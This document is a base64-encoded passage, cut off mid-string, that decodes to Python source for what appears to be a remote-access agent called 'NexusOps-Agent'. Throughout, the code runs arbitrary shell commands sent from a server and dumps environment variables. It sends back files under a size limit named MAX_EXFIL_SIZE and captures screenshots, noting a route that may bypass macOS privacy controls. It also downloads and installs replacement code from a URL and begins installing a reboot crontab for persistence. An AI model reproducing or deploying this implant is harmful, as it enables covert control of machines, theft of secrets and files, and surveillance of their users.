CAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgbG9nX2VudHJpZXMgPSBbXQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiOgogICAgICAgICAgICByZXMgPSBzdWJwcm9jZXNzLnJ1bigiam91cm5hbGN0bCAtbiA1IC0tbm8tcGFnZXIgLW8gc2hvcnQtaXNvIiwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIGlmIHJlcy5yZXR1cm5jb2RlID09IDAgYW5kIHJlcy5zdGRvdXQ6CiAgICAgICAgICAgICAgICBmb3IgbGluZSBpbiByZXMuc3Rkb3V0LnNwbGl0bGluZXMoKToKICAgICAgICAgICAgICAgICAgICBpZiBsaW5lLnN0cmlwKCk6CiAgICAgICAgICAgICAgICAgICAgICAgIGxvZ19lbnRyaWVzLmFwcGVuZChsaW5lLnN0cmlwKCkpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICByZXMgPSBzdWJwcm9jZXNzLnJ1bigicG93ZXJzaGVsbCBHZXQtRXZlbnRMb2cgLUxvZ05hbWUgU3lzdGVtIC1OZXdlc3QgMyB8IFNlbGVjdC1PYmplY3QgLUV4cGFuZFByb3BlcnR5IE1lc3NhZ2UiLCBzaGVsbD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgaWYgcmVzLnJldHVybmNvZGUgPT0gMCBhbmQgcmVzLnN0ZG91dDoKICAgICAgICAgICAgICAgIGZvciBsaW5lIGluIHJlcy5zdGRvdXQuc3BsaXRsaW5lcygpOgogICAgICAgICAgICAgICAgICAgIGlmIGxpbmUuc3RyaXAoKToKICAgICAgICAgICAgICAgICAgICAgICAgbG9nX2VudHJpZXMuYXBwZW5kKGxpbmUuc3RyaXAoKSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIGxvZ19lbnRyaWVzCgpkZWYgaHR0cF9wb3N0KHVybCwgZGF0YV9kaWN0KToKICAgIGpzb25fYnl0ZXMgPSBqc29uLmR1bXBzKGRhdGFfZGljdCkuZW5jb2RlKCd1dGYtOCcpCiAgICByZXEgPSB1cmxsaWIucmVxdWVzdC5SZXF1ZXN0KAogICAgICAgIHVybCwKICAgICAgICBkYXRhPWpzb25fYnl0ZXMsCiAgICAgICAgaGVhZGVycz17CiAgICAgICAgICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicsCiAgICAgICAgICAgICdVc2VyLUFnZW50JzogJ05leHVzT3BzLUFnZW50LzEuMCcKICAgICAgICB9CiAgICApCiAgICB0cnk6CiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD01KSBhcyByZXNwb25zZToKICAgICAgICAgICAgcmVzX3RleHQgPSByZXNwb25zZS5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpCiAgICAgICAgICAgIHJldHVybiBqc29uLmxvYWRzKHJlc190ZXh0KQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIHByaW50KGYnWyFdIEhUVFAgUE9TVCBmYWlsZWQgKHt1cmx9KToge2V9JywgZmx1c2g9VHJ1ZSkKICAgICAgICByZXR1cm4gTm9uZQoKZGVmIGV4ZWN1dGVfc3RydWN0dXJlZF9hY3Rpb24oYWN0aW9uX3R5cGUsIHBheWxvYWQpOgogICAgZ2xvYmFsIGhlYXJ0YmVhdF9pbnRlcnZhbCwgbm9kZV90YWdzCiAgICBzeXN0ZW0gPSBwbGF0Zm9ybS5zeXN0ZW0oKS5sb3dlcigpCiAgICAKICAgIGlmIGFjdGlvbl90eXBlID09ICJyYXdfY29tbWFuZCI6CiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChwYXlsb2FkLmdldCgiY29tbWFuZCIsICIiKSkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJtYW5hZ2Vfc2VydmljZSI6CiAgICAgICAgc2VydmljZSA9IHBheWxvYWQuZ2V0KCJzZXJ2aWNlIikKICAgICAgICBhY3Rpb24gPSBwYXlsb2FkLmdldCgiYWN0aW9uIikKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgY21kID0gZiJzeXN0ZW1jdGwge2FjdGlvbn0ge3NlcnZpY2V9IgogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgY21kID0gZiJwb3dlcnNoZWxsIHthY3Rpb259LVNlcnZpY2UgLU5hbWUge3NlcnZpY2V9IgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIGNtZCA9IGYibGF1bmNoY3RsIHthY3Rpb259IHtzZXJ2aWNlfSIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJsaXN0X3Byb2Nlc3NlcyI6CiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgIGNtZCA9ICJwcyBhdXggLS1zb3J0PS0lY3B1IHwgaGVhZCAtbiAxNSIKICAgICAgICBlbGlmIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgY21kID0gInBzIGF1eCAtciB8IGhlYWQgLW4gMTUiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY21kID0gInRhc2tsaXN0IgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImtpbGxfcHJvY2VzcyI6CiAgICAgICAgcGlkID0gcGF5bG9hZC5nZXQoInBpZCIpCiAgICAgICAgY21kID0gZiJ0YXNra2lsbCAvRiAvUElEIHtwaWR9IiBpZiBzeXN0ZW0gPT0gIndpbmRvd3MiIGVsc2UgZiJraWxsIC05IHtwaWR9IgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImdldF9sb2dzIjoKICAgICAgICBsaW5lcyA9IHBheWxvYWQuZ2V0KCJsaW5lcyIsIDUwKQogICAgICAgIGNtZCA9IGYiam91cm5hbGN0bCAtbiB7bGluZXN9IC0tbm8tcGFnZXIiIGlmIHN5c3RlbSA9PSAibGludXgiIGVsc2UgInBvd2Vyc2hlbGwgR2V0LUV2ZW50TG9nIC1Mb2dOYW1lIFN5c3RlbSAtTmV3ZXN0IDUwIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gIm5ldHdvcmtfc3RhdHMiOgogICAgICAgIGNtZCA9ICJzcyAtdHVscG4gfHwgbmV0c3RhdCAtdHVsbiIgaWYgc3lzdGVtID09ICJsaW51eCIgZWxzZSAibmV0c3RhdCAtYW5vIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgICMgMTAgTkVXIENST1NTLVBMQVRGT1JNIEZFQVRVUkVTOgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2Vudl92YXJzIjoKICAgICAgICBlbnZfc3RyID0gIlxuIi5qb2luKFtmIntrfT17dn0iIGZvciBrLCB2IGluIG9zLmVudmlyb24uaXRlbXMoKV0pCiAgICAgICAgcmV0dXJuIGVudl9zdHIsIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJnZXRfZGlza19wYXJ0aXRpb25zIjoKICAgICAgICBjbWQgPSAiZGYgLWgiIGlmIHN5c3RlbSAhPSAid2luZG93cyIgZWxzZSAid21pYyBsb2dpY2FsZGlzayBnZXQgY2FwdGlvbixkZXNjcmlwdGlvbixmcmVlc3BhY2Usc2l6ZSIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJnZXRfbmV0d29ya19pbnRlcmZhY2VzIjoKICAgICAgICBjbWQgPSAiaXAgYWRkciBzaG93IHx8IGlmY29uZmlnIiBpZiBzeXN0ZW0gIT0gIndpbmRvd3MiIGVsc2UgImlwY29uZmlnIC9hbGwiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2FjdGl2ZV9jb25uZWN0aW9ucyI6CiAgICAgICAgY21kID0gInNzIC1zdGF0ZSBlc3RhYmxpc2hlZCB8fCBuZXRzdGF0IC1hbiIgaWYgc3lzdGVtICE9ICJ3aW5kb3dzIiBlbHNlICJuZXRzdGF0IC1hbiB8IGZpbmRzdHIgRVNUQUJMSVNIRUQiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2hhcmR3YXJlX3NwZWNzIjoKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgY21kID0gImxzY3B1IHx8IGNhdCAvcHJvYy9jcHVpbmZvIHwgaGVhZCAtbiAyMCIKICAgICAgICBlbGlmIHN5c3RlbSA9PSAid2luZG93cyI6CiAgICAgICAgICAgIGNtZCA9ICJ3bWljIGNwdSBnZXQgbmFtZSxudW1iZXJvZmNvcmVzLG1heGNsb2Nrc3BlZWQiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY21kID0gInN5c2N0bCAtYSB8IGdyZXAgbWFjaGRlcC5jcHUiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAicmVib290X3N5c3RlbSI6CiAgICAgICAgY21kID0gInNodXRkb3duIC9yIC90IDUiIGlmIHN5c3RlbSA9PSAid2luZG93cyIgZWxzZSAicmVib290IHx8IHNodXRkb3duIC1yIG5vdyIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJzZXRfaGVhcnRiZWF0X3JhdGUiOgogICAgICAgIHJhdGUgPSBpbnQocGF5bG9hZC5nZXQoImludGVydmFsIiwgNSkpCiAgICAgICAgaGVhcnRiZWF0X2ludGVydmFsID0gbWF4KDIsIG1pbig2MCwgcmF0ZSkpCiAgICAgICAgcmV0dXJuIGYiSGVhcnRiZWF0IGludGVydmFsIHVwZGF0ZWQgdG8ge2hlYXJ0YmVhdF9pbnRlcnZhbH0gc2Vjb25kcyIsIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJ1cGRhdGVfdGFncyI6CiAgICAgICAgdGFnc19yYXcgPSBwYXlsb2FkLmdldCgidGFncyIsICIiKQogICAgICAgIG5vZGVfdGFncyA9IFt0LnN0cmlwKCkgZm9yIHQgaW4gdGFnc19yYXcuc3BsaXQoJywnKSBpZiB0LnN0cmlwKCldCiAgICAgICAgcmV0dXJuIGYiTm9kZSB0YWdzIHVwZGF0ZWQgdG86IHtub2RlX3RhZ3N9IiwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gInNlYXJjaF9sb2dzIjoKICAgICAgICBwYXR0ZXJuID0gcGF5bG9hZC5nZXQoInBhdHRlcm4iLCAiZXJyb3IiKQogICAgICAgIGNtZCA9IGYiam91cm5hbGN0bCAtLW5vLXBhZ2VyIHwgZ3JlcCAtaSAne3BhdHRlcm59JyB8IHRhaWwgLW4gMzAiIGlmIHN5c3RlbSA9PSAibGludXgiIGVsc2UgZiJwb3dlcnNoZWxsIEdldC1FdmVudExvZyAtTG9nTmFtZSBTeXN0ZW0gLU5ld2VzdCAxMDAgfCBXaGVyZS1PYmplY3QgTWVzc2FnZSAtbWF0Y2ggJ3twYXR0ZXJufSciCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAia2lsbF9hZ2VudCI6CiAgICAgICAgcHJpbnQoIlshXSBLaWxsIHN3aXRjaCByZWNlaXZlZCDigJQgc2h1dHRpbmcgZG93biBhZ2VudCIpCiAgICAgICAgb3MuX2V4aXQoMCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJwaW5nX2NoZWNrIjoKICAgICAgICBzZW50X3RzID0gcGF5bG9hZC5nZXQoInRpbWVzdGFtcCIsIDApCiAgICAgICAgbGF0ZW5jeV9tcyA9IGludCgodGltZS50aW1lKCkgKiAxMDAwKSAtIHNlbnRfdHMpIGlmIHNlbnRfdHMgZWxzZSAwCiAgICAgICAgcmV0dXJuIGYiUE9ORyDigJQgbGF0ZW5jeToge2xhdGVuY3lfbXN9bXMsIGhvc3RuYW1lOiB7c29ja2V0LmdldGhvc3RuYW1lKCl9LCB1cHRpbWU6IHtnZXRfdXB0aW1lX3NlY29uZHMoKX1zIiwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImRvd25sb2FkX2ZpbGUiOgogICAgICAgIE1BWF9FWEZJTF9TSVpFID0gNTAgKiAxMDI0ICogMTAyNCAgIyA1ME1CIGxpbWl0CiAgICAgICAgZmlsZXBhdGggPSBwYXlsb2FkLmdldCgicGF0aCIsICIiKQogICAgICAgIGlmIG5vdCBmaWxlcGF0aCBvciBub3Qgb3MucGF0aC5leGlzdHMoZmlsZXBhdGgpOgogICAgICAgICAgICByZXR1cm4gZiJFUlJPUjogZmlsZSBub3QgZm91bmQ6IHtmaWxlcGF0aH0iLCAxCiAgICAgICAgdHJ5OgogICAgICAgICAgICBmc2l6ZSA9IG9zLnBhdGguZ2V0c2l6ZShmaWxlcGF0aCkKICAgICAgICAgICAgaWYgZnNpemUgPiBNQVhfRVhGSUxfU0laRToKICAgICAgICAgICAgICAgIHJldHVybiBmIkVSUk9SOiBmaWxlIHRvbyBsYXJnZSAoe2ZzaXplfSBieXRlcywgbWF4IHtNQVhfRVhGSUxfU0laRX0pIiwgMQogICAgICAgICAgICB3aXRoIG9wZW4oZmlsZXBhdGgsICdyYicpIGFzIGY6CiAgICAgICAgICAgICAgICByYXcgPSBmLnJlYWQoKQogICAgICAgICAgICBpbXBvcnQgYmFzZTY0CiAgICAgICAgICAgIGI2NCA9IGJhc2U2NC5iNjRlbmNvZGUocmF3KS5kZWNvZGUoJ3V0Zi04JykKICAgICAgICAgICAgIyBEZXRlcm1pbmUgTUlNRSAoYmFzaWMpCiAgICAgICAgICAgIGV4dCA9IG9zLnBhdGguc3BsaXRleHQoZmlsZXBhdGgpWzFdLmxvd2VyKCkKICAgICAgICAgICAgbWltZV9tYXAgPSB7Jy50eHQnOid0ZXh0L3BsYWluJywnLmxvZyc6J3RleHQvcGxhaW4nLCcuY29uZic6J3RleHQvcGxhaW4nLAogICAgICAgICAgICAgICAgICAgICAgICAnLnBuZyc6J2ltYWdlL3BuZycsJy5qcGcnOidpbWFnZS9qcGVnJywnLmpwZWcnOidpbWFnZS9qcGVnJywKICAgICAgICAgICAgICAgICAgICAgICAgJy5wZGYnOidhcHBsaWNhdGlvbi9wZGYnLCcuZG9jJzonYXBwbGljYXRpb24vbXN3b3JkJywnLmRvY3gnOidhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC5kb2N1bWVudCcsCiAgICAgICAgICAgICAgICAgICAgICAgICcuemlwJzonYXBwbGljYXRpb24vemlwJywnLnRhcic6J2FwcGxpY2F0aW9uL3gtdGFyJywnLmd6JzonYXBwbGljYXRpb24vZ3ppcCcsCiAgICAgICAgICAgICAgICAgICAgICAgICcuc3FsJzondGV4dC9wbGFpbicsJy5kYic6J2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScsJy5zcWxpdGUnOidhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nfQogICAgICAgICAgICBtaW1lID0gbWltZV9tYXAuZ2V0KGV4dCwgJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpCiAgICAgICAgICAgIGZpbGVuYW1lID0gb3MucGF0aC5iYXNlbmFtZShmaWxlcGF0aCkKICAgICAgICAgICAgcmV0dXJuIGpzb24uZHVtcHMoeyJ0eXBlIjoiZmlsZV9yZXN1bHQiLCJmaWxlbmFtZSI6ZmlsZW5hbWUsIm1pbWUiOm1pbWUsImRhdGEiOmI2NH0pLCAwCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICByZXR1cm4gZiJFUlJPUiByZWFkaW5nIGZpbGU6IHtlfSIsIDEKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJzY3JlZW5zaG90IjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGltcG9ydCBiYXNlNjQKICAgICAgICAgICAgc3NfcGF0aCA9ICIvdG1wLy5uZXh1cy1zcy5wbmciCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpOgogICAgICAgICAgICAgICAgb3MucmVtb3ZlKHNzX3BhdGgpCgogICAgICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgICAgIGZvciB0b29sIGluIFsiaW1wb3J0IiwgInNjcm90IiwgImdub21lLXNjcmVlbnNob3QiLCAic3BlY3RhY2xlIl06CiAgICAgICAgICAgICAgICAgICAgaWYgc3VicHJvY2Vzcy5ydW4oWyJ3aGljaCIsIHRvb2xdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFKS5yZXR1cm5jb2RlID09IDA6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIHRvb2wgPT0gImltcG9ydCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbImltcG9ydCIsICItd2luZG93IiwgInJvb3QiLCBzc19wYXRoXSwgdGltZW91dD0xMCwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgICAgICAgICAgZWxpZiB0b29sID09ICJzY3JvdCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbInNjcm90Iiwgc3NfcGF0aF0sIHRpbWVvdXQ9MTApCiAgICAgICAgICAgICAgICAgICAgICAgIGVsaWYgdG9vbCA9PSAiZ25vbWUtc2NyZWVuc2hvdCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbImdub21lLXNjcmVlbnNob3QiLCAiLWYiLCBzc19wYXRoXSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgICAgICAgICAgZWxpZiB0b29sID09ICJzcGVjdGFjbGUiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJzcGVjdGFjbGUiLCAiLWIiLCAiLW4iLCAiLW8iLCBzc19wYXRoXSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHMoc3NfcGF0aCkgYW5kIG9zLnBhdGguZ2V0c2l6ZShzc19wYXRoKSA+IDA6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbInB5dGhvbjMiLCAiLWMiLAogICAgICAgICAgICAgICAgICAgICAgICAiZnJvbSBYbGliIGltcG9ydCBkaXNwbGF5O2Zyb20gUElMIGltcG9ydCBJbWFnZTtkPWRpc3BsYXkuRGlzcGxheSgpO3I9ZC5zY3JlZW4oKS5yb290OyIKICAgICAgICAgICAgICAgICAgICAgICAgImc9ci5nZXRfZ2VvbWV0cnkoKTtyYXc9ci5nZXRfaW1hZ2UoMCwwLGcud2lkdGgsZy5oZWlnaHQsWGxpYi5YLlpQaXhtYXAsMHhmZmZmZmZmZik7IgogICAgICAgICAgICAgICAgICAgICAgICAiaW1nPUltYWdlLmZyb21ieXRlcygnUkdCJywoZy53aWR0aCxnLmhlaWdodCkscmF3LmRhdGEsJ3JhdycsJ0JHUlgnKTtpbWcuc2F2ZSgnL3RtcC8ubmV4dXMtc3MucG5nJykiXSwKICAgICAgICAgICAgICAgICAgICAgICAgdGltZW91dD0xNSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKCiAgICAgICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICAgICAgIyBUcnkgbXVsdGlwbGUgYXBwcm9hY2hlcyBmb3IgbWFjT1Mgc2NyZWVuc2hvdAogICAgICAgICAgICAgICAgY2FwdHVyZWQgPSBGYWxzZQogICAgICAgICAgICAgICAgIyBNZXRob2QgMTogZGlyZWN0IHNjcmVlbmNhcHR1cmUgKG5lZWRzIFNjcmVlbiBSZWNvcmRpbmcgVENDIHBlcm1pc3Npb24pCiAgICAgICAgICAgICAgICBmb3IgZmxhZ3MgaW4gW1siLXgiLCAiLUMiLCAiLW0iXSwgWyIteCIsICItQyJdLCBbIi14Il0sIFsiLUMiLCAiLW0iXV06CiAgICAgICAgICAgICAgICAgICAgciA9IHN1YnByb2Nlc3MucnVuKFsic2NyZWVuY2FwdHVyZSJdICsgZmxhZ3MgKyBbc3NfcGF0aF0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpbWVvdXQ9MTAsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCiAgICAgICAgICAgICAgICAgICAgaWYgci5yZXR1cm5jb2RlID09IDAgYW5kIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpIGFuZCBvcy5wYXRoLmdldHNpemUoc3NfcGF0aCkgPiAwOgogICAgICAgICAgICAgICAgICAgICAgICBjYXB0dXJlZCA9IFRydWUKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhzc19wYXRoKToKICAgICAgICAgICAgICAgICAgICAgICAgb3MucmVtb3ZlKHNzX3BhdGgpCiAgICAgICAgICAgICAgICAjIE1ldGhvZCAyOiB0cnkgdmlhIG9zYXNjcmlwdCAoc29tZXRpbWVzIGJ5cGFzc2VzIFRDQyBmb3IgYmFja2dyb3VuZCBwcm9jZXNzZXMpCiAgICAgICAgICAgICAgICBpZiBub3QgY2FwdHVyZWQ6CiAgICAgICAgICAgICAgICAgICAgZm9yIGZsYWdzIGluIFtbIi14IiwgIi1DIiwgIi1tIl0sIFsiLXgiLCAiLUMiXSwgWyIteCJdXToKICAgICAgICAgICAgICAgICAgICAgICAgZmxhZ19zdHIgPSAiICIuam9pbihmbGFncykKICAgICAgICAgICAgICAgICAgICAgICAgciA9IHN1YnByb2Nlc3MucnVuKFsib3Nhc2NyaXB0IiwgIi1lIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYnZG8gc2hlbGwgc2NyaXB0ICJzY3JlZW5jYXB0dXJlIHtmbGFnX3N0cn0ge3NzX3BhdGh9IiddLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGltZW91dD0xNSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgICAgICAgICAgaWYgci5yZXR1cm5jb2RlID09IDAgYW5kIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpIGFuZCBvcy5wYXRoLmdldHNpemUoc3NfcGF0aCkgPiAwOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FwdHVyZWQgPSBUcnVlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhzc19wYXRoKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9zLnJlbW92ZShzc19wYXRoKQoKICAgICAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJwb3dlcnNoZWxsIiwgIi1Db21tYW5kIiwKICAgICAgICAgICAgICAgICAgICAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uV2luZG93cy5Gb3Jtczskcz1bV2luZG93cy5Gb3Jtcy5TY3JlZW5dOjpQcmltYXJ5U2NyZWVuLkJvdW5kczsiCiAgICAgICAgICAgICAgICAgICAgIiRiPU5ldy1PYmplY3QgRHJhd2luZy5CaXRtYXAoJHMuV2lkdGgsJHMuSGVpZ2h0KTsiCiAgICAgICAgICAgICAgICAgICAgIiRnPVtEcmF3aW5nLkdyYXBoaWNzXTo6RnJvbUltYWdlKCRiKTskZy5Db3B5RnJvbVNjcmVlbigwLDAsMCwwLCRiLlNpemUpOyIKICAgICAgICAgICAgICAgICAgICAiJGIuU2F2ZSgnQzpcXFdpbmRvd3NcXFRlbXBcXG5leHVzLXNzLnBuZycpOyRnLkRpc3Bvc2UoKTskYi5EaXNwb3NlKCkiXSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PTE1KQogICAgICAgICAgICAgICAgd2luX3BhdGggPSAiQzpcXFdpbmRvd3NcXFRlbXBcXG5leHVzLXNzLnBuZyIKICAgICAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHdpbl9wYXRoKToKICAgICAgICAgICAgICAgICAgICBvcy5yZXBsYWNlKHdpbl9wYXRoLCBzc19wYXRoKQoKICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHMoc3NfcGF0aCkgYW5kIG9zLnBhdGguZ2V0c2l6ZShzc19wYXRoKSA+IDA6CiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oc3NfcGF0aCwgJ3JiJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICBiNjQgPSBiYXNlNjQuYjY0ZW5jb2RlKGYucmVhZCgpKS5kZWNvZGUoJ3V0Zi04JykKICAgICAgICAgICAgICAgIG9zLnJlbW92ZShzc19wYXRoKQogICAgICAgICAgICAgICAgcmV0dXJuIGpzb24uZHVtcHMoeyJ0eXBlIjoiZmlsZV9yZXN1bHQiLCJmaWxlbmFtZSI6ZiJzY3JlZW5zaG90LXtpbnQodGltZS50aW1lKCkpfS5wbmciLCJtaW1lIjoiaW1hZ2UvcG5nIiwiZGF0YSI6YjY0fSksIDAKICAgICAgICAgICAgcmV0dXJuICJFUlJPUjogc2NyZWVuc2hvdCBibG9ja2VkIGJ5IG1hY09TIFRDQyDigJQgZ3JhbnQgU2NyZWVuIFJlY29yZGluZyBwZXJtaXNzaW9uIHRvIHB5dGhvbjMgaW4gU3lzdGVtIFNldHRpbmdzID4gUHJpdmFjeSAmIFNlY3VyaXR5ID4gU2NyZWVuIFJlY29yZGluZyIsIDEKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgIHJldHVybiBmIkVSUk9SIHNjcmVlbnNob3Q6IHtlfSIsIDEKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJ1cGRhdGVfYWdlbnQiOgogICAgICAgIG5ld191cmwgPSBwYXlsb2FkLmdldCgidXJsIiwgIiIpCiAgICAgICAgaWYgbm90IG5ld191cmw6CiAgICAgICAgICAgIHJldHVybiAiRVJST1I6IG5vIHVwZGF0ZSBVUkwgcHJvdmlkZWQiLCAxCiAgICAgICAgdHJ5OgogICAgICAgICAgICBteV9wYXRoID0gb3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKQogICAgICAgICAgICBiYWsgPSBteV9wYXRoICsgIi5iYWsiCiAgICAgICAgICAgIG9zLnJlbmFtZShteV9wYXRoLCBiYWspCiAgICAgICAgICAgIHVybGxpYi5yZXF1ZXN0LnVybHJldHJpZXZlKG5ld191cmwsIG15X3BhdGgpCiAgICAgICAgICAgIG9zLmNobW9kKG15X3BhdGgsIDBvNzU1KQogICAgICAgICAgICBvcy5yZW1vdmUoYmFrKQogICAgICAgICAgICByZXR1cm4gIkFnZW50IHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5LiBSZXN0YXJ0aW5nLi4uIiwgMAogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgIyBSZXN0b3JlIGJhY2t1cAogICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhiYWspOgogICAgICAgICAgICAgICAgb3MucmVuYW1lKGJhaywgbXlfcGF0aCkKICAgICAgICAgICAgcmV0dXJuIGYiRVJST1IgdXBkYXRlIGZhaWxlZDoge2V9IiwgMQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImVuc3VyZV9wZXJzaXN0ZW5jZSI6CiAgICAgICAgcmVzdWx0cyA9IFtdCiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgICMgY3JvbnRhYgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBpbXBvcnQgc2hsZXgKICAgICAgICAgICAgICAgIHNydiA9IHNobGV4LnF1b3RlKHBheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJykpCiAgICAgICAgICAgICAgICBjcm9uX2xpbmUgPSBmIkByZWJvb3QgL3Vzci9iaW4vcHl0aG9uMyB7b3M